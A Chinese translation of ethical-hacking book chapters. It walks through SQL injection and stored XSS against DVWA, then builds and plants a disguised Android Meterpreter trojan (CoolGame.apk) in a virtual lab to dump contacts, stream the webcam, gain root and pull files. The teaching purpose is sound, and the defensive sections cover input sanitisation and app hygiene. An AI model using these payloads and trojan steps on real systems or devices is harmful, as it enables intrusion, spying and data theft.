    图 8-10:输入一个更恶意的脚本,将用户重定向到一个完全不同的网页

  3. 点击签名留言簿,你将看到我们之前注入的警报弹窗。但当你关闭警报后,你将被重定向到www.nostarch.com/go-hck-yourself/。你无法返回 DVWA XSS 存储页面,因为每次重新加载页面时,它都会重定向到Go Hck Yourself* 网站。

我们已经永久劫持了 XSS 存储页面,让每个访问者都会被重定向到这个书籍网站。攻击者也可以做同样的事情,甚至更糟,针对你公司网站的未保护网页、你最喜欢的在线游戏或社交媒体应用,甚至是你当地政府的网站。要恢复网站的原始功能,站点管理员需要访问数据库并完全删除存储的 XSS 代码。

要重置 DVWA 数据库以删除我们输入的恶意代码,点击左侧 DVWA 菜单中的设置,如图 8-11 所示。然后点击创建/重置数据库,DVWA 会将数据库重置为初始状态。

f08011

图 8-11:清除你存储的 XSS 攻击

对数据库发起 SQL 注入攻击

向网站注入恶意代码可怕的,但黑客是如何从网站中获取敏感数据呢?在本节中,你将学习到网页黑客如何使用结构化查询语言(SQL)注入攻击,直接从网站的数据库中窃取信息。SQL 是用来访问大多数数据库的语言,SQL 注入SQLi)涉及将恶意 SQL 代码插入到网页应用程序中,以欺骗应用程序的数据库,泄露私人信息。

数据库包含表格,这些表格看起来像是由列和行组成的电子表格。列是用于不同字段或信息片段的,比如名字、姓氏、用户名、密码、电子邮件地址等等。行则表示单独的记录。例如,用户表中的每个用户都会占据一行。

当我们访问数据库时,我们使用类似这样的 SQL 查询

SELECT password FROM users WHERE username='Bryson'

这个查询请求从users表中获取password字段,并根据username字段为Bryson的行进行筛选。我们可以稍微修改查询,要求获取所有用户的密码:

SELECT password FROM users WHERE username='Bryson' OR 1='1'

通过在查询中添加OR条件,我们要求数据库从users表中选择所有的密码。在每一行,SQL 都会检查username是否等于'Bryson',或者该行的1是否等于'1'。如果这两个条件中有一个为真,SQL 就会返回该行的密码。因为其中一个条件总是为真(1 总是等于 1),所以数据库将返回users表中的所有密码。

让我们向 DVWA 注入一些 SQL 查询,从网站的数据库中窃取信息。

  1. 在你的 Windows 10 虚拟机的 Edge 浏览器中,确保 DVWA 脚本安全设置为低(如图 8-5 第 95 页所示)。

  2. 点击左侧 DVWA 菜单中的SQL 注入。你将看到一个像图 8-12 中的用户查找页面。

    通常,输入一个用户 ID(例如 1)到文本框并点击提交,会显示该用户的信息。然而,我们将破解表单以显示所有用户的信息。

  3. 如果你尝试查找用户,重新加载 SQL 注入页面。然后在用户 ID:文本框中输入' OR 1='1,如图 8-12 所示。f08012

    图 8-12:通过向易受攻击的数据库搜索表单注入 SQL 代码攻击数据库

  4. 点击提交,你应该能看到所有用户的名字和姓氏(姓氏)的列表,如图 8-13 所示。

  5. 现在让我们提取所有 DVWA 的用户名和密码。重新加载 SQL 注入页面,然后在用户 ID 下方的搜索框中输入以下 SQL 代码:

    `' union select user, password from users#`
    

    f08013

    图 8-13:我们已经显示了所有五个用户的名字和姓氏!

    SQL 中的union命令将两个查询语句结合在一起,以同时访问多个表。在这种情况下,我们将用户 ID 查找(包括名字和姓氏)与一个查询结合,该查询将从users表中返回用户名和密码。

  6. 点击提交,你将看到五个用户的用户名和密码取代了他们的名字,如图 8-14 所示。所有密码都是哈希形式,但正如你在第七章学到的那样,像 Hashes.com 或 John the Ripper 这样的工具能够轻松破解大多数密码哈希。

f08014

图 8-14:我们通过 SQL 注入攻击从 DVWA 中窃取了所有用户名和密码哈希!

正如你所看到的,黑客利用几行简单的 JavaScript 或 SQL 代码就可以破坏 Web 应用程序、将用户重定向到恶意网站、窃取数据,甚至更糟。幸运的是,伦理黑客可以帮助网站所有者防御这些攻击,极大地提高每个人在线数据的安全性。

保护 Web 应用程序免受 XSS、SQL 注入等攻击

DVWA 展示了如何进行黑客攻击和如何保护 Web 应用程序。在每个易受攻击页面的右下角,有一个“查看源代码”按钮,可以查看页面的代码。我们将比较低安全页面与高安全页面的源代码,学习如何防御注入攻击。

仍然处于 DVWA 的 SQL 注入页面,且脚本安全设置为低,点击查看源代码以查看用户查询应用程序的源代码,其中包括以下两行代码:

$id = $_GET['id']; 
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 

这个 Web 应用程序是用 PHP 编写的,这是一种流行的 Web 编程语言。第一行代码从名为'id'的表单字段中获取用户输入,并将其存储在名为$id的变量中。然后,它使用用户输入创建 SQL 查询。用户未修改的输入成为代码的一部分——这是一个危险的编程错误,也是我们能够攻破数据库的原因。

点击左侧的DVWA 安全性,将脚本安全级别更改为,然后点击提交。点击SQL 注入返回用户查询应用程序,再次点击查看源代码。(如果你切换安全级别时遇到困难,可以关闭 Edge 浏览器,重新打开并重新登录 DVWA。)这时,你会看到一行新代码插入在前面提到的两行代码之间:

$id = mysql_real_escape_string($id); 

这一行将用户的输入重新格式化,在用户输入的任何特殊字符前添加转义字符(如反斜杠\),例如我们在' OR 1='1攻击中使用的单引号'。在单引号前添加反斜杠告诉数据库将单引号视为文本的一部分,而不是命令的一部分。mysql_real_escape_string()命令通过将单引号和其他潜在恶意字符转换为无害的转义序列(\')来使表单更安全,这样数据库就不会将它们当作代码处理,但有动机的攻击者仍然可以绕过这一点。

返回 DVWA 安全页面,将脚本安全级别更改为。然后返回 SQL 注入页面,再次点击查看源代码。寻找以下代码:

 $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ `--snip--`

高安全性代码使用stripslashes()命令从用户的文本中去除反斜杠,并使用is_numeric()确保你输入的是数字。使用is_numeric()是表单字段验证的一个例子:该命令is_numeric()检查用户提交的数据是否符合可接受的格式——在这个例子中是数字 ID——只有符合条件时才会继续执行。

查看其他页面(低、中、高安全级别)的源代码,发现网页开发人员用来保护应用的其他安全命令层级。例如,XSS 反射页面的安全版本包含htmlspecialchars(),以防止 HTML 和 JavaScript 注入。为了防止用户输入破坏网站或数据库的代码,高安全版本的源代码中添加的命令清理了输入,或者在这些输入被用到网站或数据库中之前,去除了潜在的恶意代码符号(如单引号、反斜杠和尖括号字符)。

收获总结

在本章中,你了解到,网络服务器是全天候在线的,黑客可以随时访问全球的服务器。此外,一个没有保护的网页表单可能会使数百万用户的数据暴露给攻击者。你在虚拟黑客实验室中构建了一个故意存在漏洞的网络服务器——Metasploitable 虚拟机,并使用 DVWA 网页应用程序进行训练,测试网站的两种代码注入:跨站脚本攻击(XSS)和 SQL 注入(SQLi)。

你使用了反射和存储的恶意 JavaScript 代码,使网页弹出警告信息,并将浏览器重定向到不同的网站。你通过 SQL 查看了数据库驱动的网页应用程序中所有用户的姓名,并了解了攻击者如何从网络数据库窃取用户名和密码哈希值。通过我们在第七章使用的密码破解工具,攻击者可以轻松窃取数百万个用户名和密码,几乎不需要任何技巧或努力。

由于风险巨大,保护网络应用免受攻击是道德黑客的一个重要职责。需要多个安全层级来充分保护网络应用。你了解了流行的网页编程语言 PHP 中的多个函数,这些函数通过去除与代码相关的特殊字符来清理用户输入,从而保护服务器和数据库。你还看到了一个表单字段验证的例子,检查文本字段以确保用户输入了可接受的值。

在下一章,你将掌握一项新的技能——移动设备黑客技术!你将学习如何保护自己和亲人免受日益增多的移动攻击。

第九章:黑客攻击移动设备

本章我们将探索移动设备黑客攻击的世界。你将使用世界上最流行的移动操作系统 Android 来构建一个虚拟机。然后,你将利用 Metasploit 入侵你的虚拟移动设备,并使用 Meterpreter 远程控制它,就像在第六章中入侵 PC 一样。你还将学习几种方法,以保护自己以及家人和朋友免受日益增长的移动攻击。

创建 Android 手机/平板虚拟机

我们希望以安全、伦理的方式进行 Android 移动设备的黑客攻击,因此我们将首先在虚拟黑客实验室中添加一个 Android 虚拟机。按照以下步骤下载并配置虚拟机。

  1. 前往 www.osboxes.org/android-x86/,向下滚动至 Android-x86 8.1-RC1 Oreo 部分。选择 VirtualBox 标签页,并点击 下载 按钮,下载 64 位版本。

  2. 你的下载文件应该以 .7z 为扩展名。要解压文件,你需要下载并安装 7-Zip(适用于 Windows)、Archiver(适用于 Mac)或 p7zip-full(适用于 Linux)。安装好所需的软件后,解压 Android 虚拟机:在 Windows 上,右键点击文件并选择 7-Zip解压到此处;在 macOS 或 Linux 上,双击文件。虚拟机将解压到一个名为 64bit 的文件夹中。

  3. 打开 VirtualBox 并点击 新建,打开创建虚拟机窗口。

  4. 在名称和操作系统对话框中,在名称框中输入 Android 8.1 或类似名称,从类型下拉列表中选择 Linux,然后从版本下拉列表中选择 其他 Linux(64 位)。然后点击 下一步(在 Windows 上)或 继续(在 macOS 上)。

  5. 在内存大小对话框中,在框内输入 2048,为虚拟机分配 2,048MB(2GB)的内存,然后点击进入下一个屏幕。

  6. 在硬盘对话框中,选择 使用现有虚拟硬盘文件,点击浏览图标(带绿色箭头的文件夹)。在弹出的窗口中,点击 添加。然后找到并选择你解压缩后的 64bit 文件夹中的 .vdi 文件。

  7. 点击进入硬盘对话框并选择 创建 来创建你的虚拟机。你的新 Android 8.1 虚拟机现在应该出现在 VirtualBox 的虚拟机列表中,如 图 9-1 所示。

  8. 在列表中选择 Android 虚拟机,进入 设置,并选择 显示 标签页。在图形控制器下拉列表中,选择 VBoxSVGA。这样会更改显示设置,使我们能够看到 Android 智能手机虚拟机的图形用户界面(GUI)版本。

  9. 仍然在显示标签页,确保 启用 3D 加速 旁边的复选框没有勾选。(不过,如果你的虚拟机一会儿无法正常工作,你可能需要开启 3D 加速。)

  10. 切换到 网络 设置标签页,选择名为 PublicNAT 的 NAT 网络。这样可以让你的 Android 虚拟机与 Kali 虚拟机在虚拟黑客实验室中进行通信。

f09001

图 9-1:我们已经在 VirtualBox 中添加了一个 Android 8.1 虚拟机!

你现在准备启动你的 Android 虚拟机了!第一次启动可能需要几分钟(如果屏幕停留黑色超过一分钟,你可能需要重启虚拟机),但最终你会看到像图 9-2 所示的 Android 设备主屏幕。

f09002

图 9-2:你虚拟 Android 设备的主屏幕

在开始探索虚拟机之前,去 Android 虚拟机的菜单栏,点击输入鼠标集成,取消选中鼠标集成。保持鼠标集成开启会使得在 Android 虚拟机上控制指针变得困难。(因为 Android 虚拟机是为触摸屏设计的,所以在 Android 上使用鼠标本来就可能令人沮丧。)完成这些后,你就可以开始浏览你的虚拟 Android 设备了。

打开 Chrome 浏览器,浏览网页或打开联系人应用并添加几个联系人——你可以尝试任何你想做的事。Android 虚拟机几乎和真实的 Android 平板或手机一模一样,除了它不能打电话,且没有 GPS 等用于定位服务的传感器。记住,当你想离开 Android 虚拟机时,你可以使用右 CTRL 键(Windows)或左 COMMAND 键(Mac)重新控制鼠标,正如我们对待其他虚拟机时一样。

启动 Android 木马

现在我们准备好创建一些恶意软件了。就像我们在第六章中对 Windows 虚拟机所做的那样,我们将使用 Meterpreter 木马来感染并控制 Android 虚拟机。我们会把木马隐藏在一个名为CoolGame.apk的文件中。Android 使用APK 文件格式来分发和安装移动应用程序。按照这些步骤,你将看到攻击者是如何轻松欺骗 Android 用户安装并运行一个感染的应用程序。

  1. 登录到你的 Kali 虚拟机并启动 Metasploit。

  2. 在 Metasploit 的msf6命令提示符下,输入以下命令作为一行,替换LHOST=后的 Kali 虚拟机 IP 地址:

    msf6 > `sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=``10.0.9.4` `-f raw -o /var/www/html/share/CoolGame.apk`
    

    这会创建一个形式为 APK 文件的android/meterpreter/reverse_tcp有效载荷,并将其直接保存到 Kali 的共享网页文件夹中。Metasploit 将响应几行输出,最后会显示类似以下内容:

    `--snip--`
    Payload size: 10080 bytes
    Saved as: /var/www/html/share/CoolGame.apk
    
  3. 启动 Apache web 服务器服务,这样你就可以从你的 Android 虚拟机下载文件:

    msf6 > `sudo service apache2 start`
    
  4. 为了验证 Kali web 服务器是否处于活动状态,打开 Firefox 并访问localhost/share。你应该能看到文件列表中的CoolGame.apk

  5. 在 Metasploit 终端窗口中输入这四个命令,设置监听器以处理传入的 Meterpreter 连接:

    msf6 > `use exploit/multi/handler`
    msf6 exploit(multi/handler) > `set PAYLOAD android/meterpreter/reverse_tcp` PAYLOAD => android/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > `set LHOST` `10.0.9.4`
    LHOST => 10.0.9.4
    msf6 exploit(multi/handler) > `exploit`
    

Metasploit 现在正在监听传入连接!

感染 Android 虚拟机

现在我们将下载木马应用并故意感染你的虚拟 Android 设备。切换回你的 Android 虚拟机并按照以下步骤操作:

  1. 打开 Chrome 浏览器,在地址栏中输入 Kali 虚拟机的 IP 地址,后面加上/share/,例如10.0.9.4/share/,如图 9-3 所示。f09003

    图 9-3:从 Android 虚拟机的 Chrome 浏览器中导航到 Kali 虚拟机的共享文件夹,找到准备下载和安装的CoolGame.apk 木马应用程序。

  2. 点击 APK 文件进行下载。首次尝试下载文件时,Android 会弹出一条消息,提示你授予 Chrome 访问设备文件存储的权限。点击更新权限,然后点击允许g09001

  3. 再次点击你的 APK 文件进行下载。Chrome 通常会显示警告:“此类文件可能会危害您的设备。”点击确定继续下载该文件。

  4. 点击 Android 虚拟机屏幕左上角的下拉箭头,你将看到如图 9-5 所示的下载管理器。点击列表中的 APK 文件名称以安装该应用程序。

  5. Android 将弹出另一个窗口,告诉你“您的手机不允许从此来源安装未知应用。”点击设置,然后滑动切换按钮以启用允许此来源设置。f09005

    图 9-5:访问下载管理器

  6. 点击 Android 屏幕底部黑色带状区域的返回按钮(左箭头),你将看到 Meterpreter 木马应用程序(名为 MainActivity)请求的权限列表:设置、图片、视频、联系人、GPS、麦克风、通话记录、短信、SD 卡访问……几乎是你智能手机能够允许的所有权限!点击权限窗口右下角的下一步,然后点击安装。如果出现 Google Play Protect 警告,点击继续安装

  7. 点击 Android 虚拟机屏幕底部的主页按钮(中间的圆圈)。然后点击并向上拖动屏幕,显示已安装的应用程序。点击 MainActivity 图标以启动木马应用程序。

  8. 切换回 Kali 虚拟机,你将看到 Meterpreter 中已打开一个新会话。

我们在 Android 设备上的木马已经与 Kali 建立了联系,并在等待指令。让我们看看一旦我们接管控制,能做些什么。

控制 Android 虚拟机

恶意移动应用的威胁与 PC 上恶意软件的威胁一样真实。如果你在智能手机上安装恶意软件,攻击者将能够访问大量敏感信息:你拍过的每张图片和视频,所有联系人,通话和短信记录,GPS 位置信息历史记录,所有的网页搜索和 YouTube 视频观看记录,以及一个攻击者随时可以用来监视你的便携式摄像头和麦克风——这些都是你随身携带的。

要查看恶意黑客能用像 Meterpreter 木马这样的应用程序做些什么,在 Meterpreter 终端窗口中输入 help。你将看到所有可用的 Meterpreter 命令列表。除了我们在第六章中攻击 Windows PC 时看到的命令外,还有两部分专门针对 Android 设备的命令:

Android Commands
================ Command           Description -------           ----------- activity_start    Start an Android activity from a Uri string check_root        Check if device is rooted dump_calllog      Get call log dump_contacts     Get contacts list dump_sms          Get sms messages geolocate         Get current lat-long using geolocation hide_app_icon     Hide the app icon from the launcher interval_collect  Manage interval collection capabilities send_sms          Sends SMS from target session set_audio_mode    Set Ringer Mode sqlite_query      Query a SQLite database from storage wakelock          Enable/Disable Wakelock wlan_geolocate    Get current lat-long using WLAN information
Application Controller Commands
=============================== Command        Description -------        ----------- app_install    Request to install apk file app_list       List installed apps in the device app_run        Start Main Activity for package name app_uninstall  Request to uninstall application

我们控制 Android 设备的第一步是防止它进入睡眠状态。在 Meterpreter 提示符下输入以下命令:

meterpreter > **wakelock -w**

Meterpreter 会回复 Wakelock was acquired,如果你的 Android 设备之前处于休眠状态或显示为黑屏,屏幕会唤醒,设备会保持清醒直到你释放 wakelock。

如果你能在屏幕上同时显示 Android 和 Kali 虚拟机,运行 Meterpreter 命令并查看其效果会更简单。(这种方法也有助于查看攻击者在攻击用户设备时,用户看到的内容。)如果你有双显示器,可以把 Kali 放在一个显示器上,把 Android 放在另一个。如果你只有一个显示器,尝试将 Kali 和 Android 并排放置,这样你就可以在工作时同时看到两个界面。

正在运行的应用

一旦攻击者控制了移动设备,他们可以远程启动任何他们想要的应用。为了查看它是如何工作的,让我们列出用户在设备上安装的应用。在 Meterpreter 终端窗口中,输入命令app_list。Android 会列出智能手机上安装的所有应用,包括应用图标上显示的名称和该应用的包统一资源标识符(URI)字符串。URI 字符串是我们识别 Android 设备上各种资源的方式。例如,你可能会看到 YouTube 应用列出如下:

 YouTube  com.google.android.youtube  false  true

行中的最后两项会告诉你应用是否正在运行以及它是否是操作系统安装的系统应用。在这里,false 值告诉我们 YouTube 应用当前没有运行,而 true 值表示它是作为 Android 操作系统的一部分安装的标准应用。

现在我们知道 YouTube 已经安装在 Android 设备上,我们可以通过 Meterpreter 使用app_run命令和 YouTube 的包 URI 字符串来启动它。输入以下内容:

meterpreter > **app_run com.google.android.youtube**

你会看到 YouTube 应用在你的 Android 虚拟机中打开!切换回你的 Android 虚拟机并搜索视频 “Bryson Payne TED Talk”。你在 Android 虚拟机上的 YouTube 应用会显示该视频(尽管你可能听不到音频,因为 VirtualBox 的驱动程序并不总是适用于智能手机和平板电脑操作系统)。

你可以通过这种方式在感染的智能手机或平板电脑上运行任何应用,完全不需要用户的许可或互动。尝试运行更多的应用,比如设置(com.android.settings)或电话应用(com.android.dialer)。

你也可以请求卸载应用的权限,但用户会收到警告。尝试这个命令:

meterpreter > **app_uninstall com.google.android.gm**

你的 Android 虚拟机会弹出一个窗口,询问你是否要卸载 Gmail,如图 9-6 所示。点击取消以保留 Gmail 应用在设备上。较新的 Android 设备的安全设置会阻止 Meterpreter 木马卸载该应用。不过,通过超级用户权限(我们将在“窃取文件和日志探测”章节中获得,见第 117 页),我们可以删除应用的数据,甚至删除其主程序文件,而用户对此一无所知。

f09006

图 9-6:Android 在卸载应用之前会请求用户的许可。

在继续进行更阴险的黑客操作之前,让我们先运行最后一个应用,“联系人”:

meterpreter > **app_run com.android.contacts**

“联系人”应用将在你的 Android 虚拟机中打开。它打开时,我们将添加一个联系人,稍后在 Meterpreter 中窃取它。

  1. 点击 Android“联系人”屏幕右下角的“添加联系人”图标(一个带加号的红色圆圈,+)。

  2. Android 会要求你添加一个账户来访问 Google 联系人。点击取消。(你不需要登录 Google 账户就可以在虚拟智能手机中添加联系人。)

  3. “创建新联系人”窗口将出现。输入你的名字,一个或两个虚假的电话号码,以及一个虚假的电子邮件地址,如图 9-7 所示。

  4. 点击保存将新联系人存储在你的 Android 虚拟机中。如果你想添加更多联系人,请点击 Android 屏幕底部的返回箭头。

f09007

图 9-7:使用“联系人”应用添加带有虚假信息的新联系人

访问联系人

Meterpreter 有多个命令用于访问我们存储在智能手机中的敏感数据。在 Kali 的 Meterpreter 控制台中运行help,查找以dump开头的几个命令:

dump_calllog      Get call log dump_contacts     Get contacts list dump_sms          Get sms messages

由于我们的 Android 虚拟机不是一台真实的 Android 设备,因此无法打电话或接收短信,但我们已经在前一部分中添加了一个联系人。现在我们来窃取它。

  1. 在 Meterpreter 中运行dump_contacts命令:

    `meterpreter >` `dump_contacts` [*] Fetching 1 contact into list
    [*] Contacts list saved to: contacts_dump_*20210927103858*.txt
    

    Meterpreter 会显示它找到的联系人数量,并显示保存这些联系人的文件名以及该文件存储在你 Kali 机器上的位置。

  2. 在 Kali 虚拟机中打开第二个终端窗口,并输入cd命令切换到你的主目录。然后输入命令ls con*列出 Meterpreter 保存的任何联系人文件:

    kali@kali:~# `ls con*`
    contacts_dump_*20210927103858*.txt 
    

    你会看到一个.txt文件,文件名为contacts_dump_,后面跟着时间戳(年、月、日和时间的数字格式)。

  3. 输入cat con并按TAB键自动完成联系人文件名,然后按ENTER键显示文件内容:

    kali@kali:~# `cat contacts_dump_`*20210927103858*`.txt` `--snip--`
    #1
    Name: Bryson Payne
    Number: 404-555-1212
    Email: brysonpayne@myuniversity.edu
    

攻击者可以查看智能手机“联系人”应用中每个联系人完整的联系信息,还能读取你的短信和查看你最近打过的所有电话!

通过摄像头进行间谍监视

如果攻击者远程控制了你的智能手机,他们可以劫持设备的摄像头和/或麦克风。正如我们将看到的,这种间谍行为令人不安地简单。

  1. 如果您有摄像头,可以通过虚拟机菜单栏中的设备网络摄像头来将其连接到 Android 虚拟机,并选择其名称。

  2. 在连接摄像头后,重启您的 Android 虚拟机(选择机器重置并点击重置按钮)。然后通过点击 MainActivity 应用程序重新运行木马。

  3. 在 Metasploit 中,按下ENTER键后出现错误Meterpreter session closed,然后输入命令exploit

  4. 当新的 Meterpreter 会话启动时,输入命令webcam_list查看您的摄像头是否已列出:

    meterpreter > `webcam_list`
    1: Back Camera
    
  5. 使用命令webcam_stream查看来自摄像头的实时视频流:

    meterpreter > `webcam_stream`
    

网络摄像头将开始将视频(较慢)通过 Firefox 浏览器流式传输到您的 Kali 虚拟机,直到您关闭 Web 浏览器视频流,并在 Meterpreter 终端中按 CTRL-C(在 Windows 上)或 CONTROL-C(在 macOS 上)停止视频流。

如您所见,如果您的设备通过像我们构建的利用程序被攻破,攻击者可以通过智能手机的网络摄像头流式传输视频,就像他们可以访问您的笔记本或台式机摄像头一样。但与您的计算机摄像头不同,您可能会随时携带您的智能手机,您的朋友和家人也是如此。我们大多数人不希望像遮挡笔记本电脑摄像头那样遮挡智能手机的摄像头,因此更加重要的是小心我们安装的应用程序以及我们授予它们的权限。

盗取文件和查看日志

就像我们在 Windows 10 黑客攻击中所做的那样,我们可以使用上传和下载命令从 Android 设备的存储中上传和下载文件。如果用户授权超级用户权限,我们甚至可以通过设备的 shell 终端访问受保护的敏感文件。

  1. 在 Meterpreter 中输入shell以进入 Android 终端 shell:

    meterpreter > `shell`
    Process 1 created.
    Channel 1 created.
    
  2. Android shell 在行首不会显示提示符,因此光标会位于空白行。输入命令cd /ls以切换到根目录/*并列出设备上的所有文件夹:

    `cd /``ls`
    acct
    bugreports
    cache
    charger
    config
    d
    data`--snip--`
    

    data文件夹包含大量用户数据,包括用户的 YouTube、浏览器和其他应用程序历史文件。还记得我们在运行 YouTube 应用时搜索“Bryson Payne TED Talk”吗?如果某个应用存储了带有最近搜索结果的日志或历史文件,只要用户授予应用管理员或超级用户权限,我们就可以访问这些文件。

  3. 在 Meterpreter Android shell 中输入su请求超级用户权限。

    `su`
    
  4. 在 Android 虚拟机中,您将看到权限窗口弹出,如图 9-8 所示。点击允许以授予 Meterpreter 超级用户权限。f09008

    图 9-8:授予 Meterpreter 超级用户权限

  5. 使用cd /data/data/com.google.android.youtube进入目录,并通过ls列出该目录内容:

    `cd /data/data/com.google.android.youtube``ls`
    cache
    code_cache
    databases
    files
    no_backup
    shared_prefs
    
  6. databases文件夹包含应用程序使用的各种文件,其中包括一个存储 YouTube 搜索历史的文件。要找到该文件,输入命令cd databasesls

    `cd database``ls`
    
  7. 在出现的文件短列表中,你会找到history.db文件。运行命令cat history.db查看设备的 YouTube 搜索历史记录。

    `cat history.db`
    ����h�!##�mat 3@tablesuggestionssuggestionsCREATE TABLE suggestions (_id INTEGER PRIMARY KEY,display1 TEXT UNIQUE ON CONFLICT REPLACE,display2 TEXT,query TEXT,date LONG)5I#indexsqlite_autoindex_suggestions_1suggestionW--ctableandroid_metada��677bryson payne ted talkbryson payne ted talkl0�/cale TEXT)
    ��7	bryson payne ted talk
    

    因为这是一个特殊的数据库格式文件,并非所有字符都是可打印的,但请查看最后一两行——我们搜索的“Bryson Payne TED Talk”可以以明文查看!如果你在 YouTube 上搜索其他视频,然后重新运行上面的命令(cat history.db),你将看到新结果被添加到文件中。

  8. 现在我们将下载 YouTube 搜索历史记录文件到 Kali 虚拟机。首先,我们需要将其复制到 Metasploit 木马应用的files文件夹中:

    `cp /data/data/com.google.android.youtube/databases/history.db /data/data/com.metasploit.stage/files`
    
  9. 接下来,我们需要授予对复制文件的访问权限:

    `chmod 666 /data/data/com.metasploit.stage/files/history.db`
    
  10. 按 CTRL-C(Mac 上是 CONTROL-C)退出 Android shell。Meterpreter 会提示是否终止channel(即 shell 连接)。输入y

    ^C
    Terminate channel 1? [y/N] `y`
    
  11. 你现在将回到普通的 Meterpreter 提示符,在哪里你可以将 YouTube 历史文件下载到 Kali 虚拟机的主文件夹(/home/kali/):

    meterpreter > `download history.db`
    
  12. 在一个单独的终端窗口中,输入ls确认history.db文件已成功下载。然后输入cat history.db,你将看到与在 Android shell 中看到的相同的文件内容,其中包含用户的 YouTube 搜索历史记录的明文。

恶意黑客可以使用这种技术保存你的 YouTube 搜索历史记录。然而,如果你是 FBI 的法医数据分析师或某公司的安全团队成员,你也可以使用相同的技术来发现犯罪分子是否观看了 YouTube 视频,学习如何制造炸弹或实施其他犯罪。

关闭铃声及更多设置

你可以通过 Meterpreter 更改设置,并防止用户恢复这些设置。例如,你可以通过在 Meterpreter 中输入以下命令关闭 Android 虚拟机的铃声:

meterpreter > **set_audio_mode -m 0**
[*] Ringer mode was changed to 0!

在你的 Android 虚拟机中,向上滑动主屏幕并选择设置。搜索“铃声”,点击铃声音量打开声音设置。铃声音量已经关闭,如图 9-9 所示。

f09009

图 9-9:当我们在 Meterpreter 中关闭铃声音量时,用户无法从设置界面重新打开它!

尝试将铃声音量滑块向右或向左滑动。你将无法做到!Meterpreter 通过开启“请勿打扰”模式(就像某些智能手机上滑动静音开关一样)将铃声音量锁定为关闭。用户必须在设置中找到“请勿打扰”并关闭它,才能恢复对智能手机铃声音量的控制。

还有另一个我们可以做的更改,用户无法覆盖。你可能已经想到,如果我看到一个不认识的应用,比如 MainActivity,我可能会删除它。所以,让我们隐藏 MainActivity 应用图标,让用户更难删除我们的木马应用。

在 Meterpreter 中,输入以下命令将 MainActivity 木马应用从用户的已安装应用列表中隐藏:

meterpreter > **hide_app_icon**
[*] Activity MainActivity was hidden

切换回 Android 虚拟机,点击主页按钮并向上滑动以显示你的应用。MainActivity 应用将从列表中消失,如图 9-10 所示。

f09010

图 9-10:隐藏用户屏幕上的 MainActivity 应用图标

通过隐藏应用图标,我们让用户难以卸载木马应用。如果攻击者一开始就隐藏了应用图标,用户甚至可能不知道木马应用已经被安装!然而,用户仍然可以卸载木马应用,即使他们看不见它。只需进入设置应用信息,点击MainActivity,然后点击卸载。请注意,停止或卸载应用会关闭 Kali 虚拟机中的 Meterpreter 会话。要重新安装木马应用,请像之前那样,进入 Android 的下载文件夹并点击CoolGame.apk文件。

防御恶意应用

为了保护自己免受恶意应用的侵害,务必小心你允许安装到智能手机上的应用。简而言之,安装之前先考虑清楚!在 Android 设备上使用 Google Play Protect,并将每一个安全弹窗视为重新考虑自己行为的机会。更好的是,避免从网上下载应用,或者从 Google Play 商店、Apple 的 App Store(如果你使用的是 iPhone)或智能手机制造商的商店以外的地方下载应用。

恶意应用也有可能进入官方应用商店。因此,在安装应用时,阅读该应用请求的权限非常重要。一款游戏或简单的应用不应该需要访问你的联系人、通话记录或短信,除非是增强现实或基于位置的应用,如Pokémon Go,应用不应该需要你的位置信息。如果一个应用请求的权限比你认为它应该需要的多,删除它,找一个权限较少却能完成你想要的功能的应用。同样地,如果你安装的应用之后请求额外的权限,尤其是请求超级用户权限时,你可以取消请求,甚至删除该应用。你永远不必给应用授权超出你想要的权限,大多数应用在没有授权过多权限的情况下也能正常运行。

如果你看到智能手机上出现你没有打开的应用(就像我们使用 Meterpreter 在 Android 虚拟机上打开 YouTube 时那样),立即将手机完全关闭(不要只是关闭屏幕)。按住手机侧面或顶部的电源键和音量增加键几秒钟,直到屏幕变黑(大多数 Android 设备都适用),或者使用其他设备搜索如何重启或重置你的设备。如果你在手机或平板上发现任何可疑活动,安装安全应用程序可能是个好主意。大多数移动设备都有免费或低成本的杀毒应用,能够检测恶意进程或通信,防止手机通过应用被黑客攻击。

最后,就像在桌面或笔记本电脑上一样,不要点击电子邮件或短信中的可疑链接。你可以使用 VirusTotal 来检查大多数链接,只需复制粘贴,就像在桌面上操作一样,但在智能手机上,你需要更加小心点击恶意链接。记住,如果攻击者能够欺骗你点击恶意链接或安装恶意应用,他们可以访问大量个人信息(甚至追踪你的定位!)。因此,告诉你的朋友、家人和你关心的其他人对任何通过短信或电子邮件收到的链接保持怀疑,并在安装应用时三思,尤其是当它来自未知来源时。

重点总结

在本章中,你创建了一个与真实 Android 智能手机或平板电脑完全相似且功能相同的 Android 虚拟机。你使用 Metasploit 创建了一个 Meterpreter 远程访问木马,几乎与第六章中为 Windows 10 创建的方式完全相同,并且你在 Android 虚拟机上安装并启动了木马。一旦你控制了 Android 设备,你就看到了攻击者如何运行应用程序、窃取联系人、上传和下载文件、劫持相机并窃听你的搜索历史。

你还学到了,防止移动设备感染恶意软件的最佳方法是避免安装不受信任的应用程序。即使一个应用看起来合法,如果它请求的权限超过了需要的范围,删除或卸载它。如果你的智能手机开始出现异常,重启它,删除所有可疑的应用程序,并在怀疑不小心安装了恶意软件时,考虑安装像防病毒扫描器这样的安全应用。

在下一章,你将尝试最后一个黑客活动。你会发现黑客攻击不仅限于计算机、智能手机和平板电脑。你还可以使用 Kali Linux 虚拟机中的工具,攻击你周围世界中其他联网设备,从智能电视到视频游戏主机,甚至更远。为了证明这一点,我们将黑进一辆汽车!

第十章:汽车黑客和物联网

你每天都能接触到一些非常酷的计算机,它们就在你周围,但你可能并不会把它们当作计算机来看待。许多家用电器——比如恒温器、安全摄像头、冰箱,以及 Alexa 或 Google Home 扬声器——内部都包含计算机。如今,甚至汽车也拥有互联网连接和计算机系统,这些系统可能会受到不道德黑客的攻击。

嵌入在日常物品中的互联网连接计算设备被称为 物联网(IoT)。IoT 设备让我们的生活更轻松或更美好,但它们也可能带来严重的安全风险。互联网连接的医疗设备可以帮助我们保持健康,并允许制造商远程监控和更新这些设备,但想象一下,如果攻击者能够黑进某人的心脏起搏器或胰岛素泵来伤害用户会怎样。同样,卫星广播、GPS 导航以及你汽车中的 4G/5G 无线娱乐系统让长途旅行变得更加方便和有趣,但所有这些网络也带来了攻击者可能利用的额外漏洞。想象一下,如果有人黑进了你的汽车并让它在高速公路上突然刹车。

